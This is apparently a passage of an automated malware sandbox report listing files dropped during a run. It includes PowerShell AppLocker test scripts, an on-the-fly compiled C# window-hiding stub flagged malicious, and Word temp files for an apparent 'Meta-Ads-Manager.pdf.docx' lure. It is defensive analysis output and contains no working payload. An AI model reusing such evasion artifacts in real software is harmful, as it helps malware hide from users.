Preview:	L....wYg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP....................4g.f.].2&..............5.......C:\Users\user\AppData\Local\Temp\RES6B00.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.4.r.2.y.t.u.a...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5im41jqx.jbu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nqszevk.fqu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_antzpzxj.ktw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bf1ai3ip.14j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxtvr2ej.krv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g4an2gm5.o0o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hdmgpo3o.kz2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_klp5as3n.v1n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nd0wd1j5.1aq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_piuxnn4v.1sf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qxew01kp.lmg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_saxxq3yb.vgp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tgdnxnar.zoe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tnzakijv.4r5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3l525fy.hxi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uc5l2niv.ord.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yr1eyino.e20.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zkhbg5oo.vx3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0871225588314037
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryMDcak7YnqqFDxPN5Dlq5J:+RI+ycuZhNqDcakSFDxPNnqX
MD5:	01FD34670566EF5D873226890DDC8CDB
SHA1:	393B2449A63076BDE9CBD5BD0D57ECB0001ED631
SHA-256:	E0422FBCC62F3E5CB019F603879DCB3904C48E2935C9900A4C1CDB6015811ECE
SHA-512:	C25B12CEBDFEE91C27E2C206E60AC970AF7D02EB6282888F406A53692F34B05737A54FB06F0C0F2FB8966C3620E50385DD1BE9A0DE3A23BDA5F36448F58C72B5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.4.r.2.y.t.u.a...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...n.4.r.2.y.t.u.a...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.200346235086589
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2KJjq23fmS0zxs7+AEszIKJjq23fmEH:p37Lvkmb6K9FuS0WZEYFuu
MD5:	FD686309631BA63EDCC15883C5191FDE
SHA1:	C6733C6A71BBDFFCB87B280F039DF31A8C3FBBC2
SHA-256:	E07211603A3D9E179ED7F8FC024BBEFBA83F1540BB19124F2F8FBAA280F1868A
SHA-512:	7C98D45D78C3F650F882F7E468065EE788FA2A87ADA80A5663177921E5A4CB78599D2CEB015097798F3E7E45401C7D411B87B61A0CBF2EF584CC04FE32B60035
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.0.cs"

C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7824629706093016
Encrypted:	false
SSDEEP:	24:etGSlWJ2JJi8R86QMBTZetkZfHZBt3+WI+ycuZhNqDcakSFDxPNnqI:6zNR9ZZRJHTt3l1ulqDca3FDDqI
MD5:	CEBDE292951B2EFBF9D3A87D4DA3881E
SHA1:	C9CD074F6D8EE02478572432F795B65E4F45E309
SHA-256:	F0B6F285A5242E9B62859FB21CB7F4F1D03C563B6A3B48BADCCCD56EC87D9DE3
SHA-512:	F8CF86A2D5F00832E795413BBD63ADDC527BC4DA1543B9134904171BFF8A5351A543F0DF47B99A5B07DB470F33522278859F9E44133B34D0983152107F748B11
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....wYg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.307342795336398
Encrypted:	false
SSDEEP:	24:KhId3ka6KndVE+GKax5DqBVKVrdFAMBJTH:ykka6CbE+GK2DcVKdBJj
MD5:	77BD309D0734FDC5288D6367F4FA60A2
SHA1:	C282EF548A61A52502C5A112C90C08030565DF3E
SHA-256:	AE1E37699A05B53B5DDCBF85F7362A219D177E3B66A7EC732CED205BE80C7EE8
SHA-512:	516A5E07D1C78CAAE461F1C84410D84610D014D58DD80F128B8385F84C343F15C6C1DAD76131C6138A2BAF476350383DB4909CDA9861A840D2644858F8F2854E
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~$-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4460951927176375
Encrypted:	false
SSDEEP:	3:+3bBIdE9klc/tlflmltlWacAW/gDItt/Nn:SadUkq/EmacrD1Nn
MD5:	7CD9C49C4616DB2F6C52F705337C87E1
SHA1:	D37550E0633897A0FAF18C1A8A49B7E97AAF3960
SHA-256:	29C8EE902F43DD27229F71F913DCD386927F0F662C80A567D35D364A334AA9CD
SHA-512:	DBBB3918AF519344EA06C5B24EEB87264DEADD41139A47AA7616E0D9135227A69FEF64662DC479E46854CFD1FE9CC91E5448B20C34FBEA5C1A2C0075741C52FB
Malicious:	false
Preview:	..........................................................X....hQ.X...........H./.....p7..X......................................K......3...f..K...........G=.

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO2057.acl

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	37740
Entropy (8bit):	3.1246463537066655
Encrypted:	false
SSDEEP:	768:latNbFeZKdogeyHMOeYhIVi+iOFOqbPXdEmawb:w/eLAhIVJbf
MD5:	CC3B4501E1ED978E73AB993AD62BBFC8
SHA1:	2A95D46D08F432354F35EA1A4ABC665F7C263AEF
SHA-256:	D4EE6AC3CC7B4567ADF44177A65051C5CA9DFF7D6E8193F3402CD9FD68BF6197
SHA-512:	385E0A74E43FB52BE95AE99CE079CFE6DD1022D554FE3548BCCACA546C6BDD4C559FCBA2B3DDADE9EC590FE644BF6389729F6B57472199EB3A94DC0861C30DB9
Malicious:	false
Preview:	........l.......S.....(.c.)...........(.e.)...... ....(.r.)...........(.t.m.)....."!..............& ....a.b.b.o.u.t.....a.b.o.u.t.....a.b.o.t.u.....a.b.o.u.t.....a.b.o.u.t.a.....a.b.o.u.t. .a.....a.b.o.u.t.i.t.....a.b.o.u.t. .i.t.....a.b.o.u.t.t.h.e.....a.b.o.u.t. .t.h.e.....a.b.s.c.e.n.c.e.....a.b.s.e.n.c.e.....a.c.c.e.s.o.r.i.e.s.....a.c.c.e.s.s.o.r.i.e.s.....a.c.c.i.d.a.n.t.....a.c.c.i.d.e.n.t.....a.c.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.c.o.r.d.i.n.g.t.o.....a.c.c.o.r.d.i.n.g. .t.o.....a.c.c.r.o.s.s.....a.c.r.o.s.s.....a.c.h.e.i.v.e.....a.c.h.i.e.v.e.....a.c.h.e.i.v.e.d.....a.c.h.i.e.v.e.d.....a.c.h.e.i.v.i.n.g.....a.c.h.i.e.v.i.n.g.....a.c.n.....c.a.n.....a.c.o.m.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.t.u.a.l.y.l.....a.c.t.u.a.l.l.y.....a.d.d.i.t.i.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.d.t.i.o.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.e.q.u.i.t.....a.d.e.q.u.a.t.e.....a.d.e.q.u.i.t.e.....a.d.e.q.u.a.t.e.....a.d.n.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.836591668108979
Encrypted:	false
SSDEEP:	3:QhRZln:Qb
MD5:	C635A6BFA5AE32F7E77689DF0465FC21
SHA1:	AFF2FB5D3D3DBB371C3EDAA867AA0FB4FD4D8B06
SHA-256:	75EB61906ED4248E5CB1C7A09A2031E5C159A52577A5625766612370E508D535
SHA-512:	A1BBCCBBD6B849070F3981710E1D1F0882C78C2947781908ACAF987FC2F3E34C8DB981212B47C9D714568E4F8D91D938056329787121EE9397D7086F8A57855A
Malicious:	false
Preview:	..D.y.l.a.n.e.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7495021484407416
Encrypted:	false
SSDEEP:	96:EiZjRC8eMqkvhkvCCtsexaNkHa2exaNkHo:lRleVxxI1fxId
MD5:	64DECA82C98E10987AF023584B8B3E25
SHA1:	E8C75CF22C555E43BB7405A1B066DA6651541918
SHA-256:	FF2C146BF75A6D87B1B462CF6C7F682B89EFB3A510DA0F480065D5F859EBC9BF
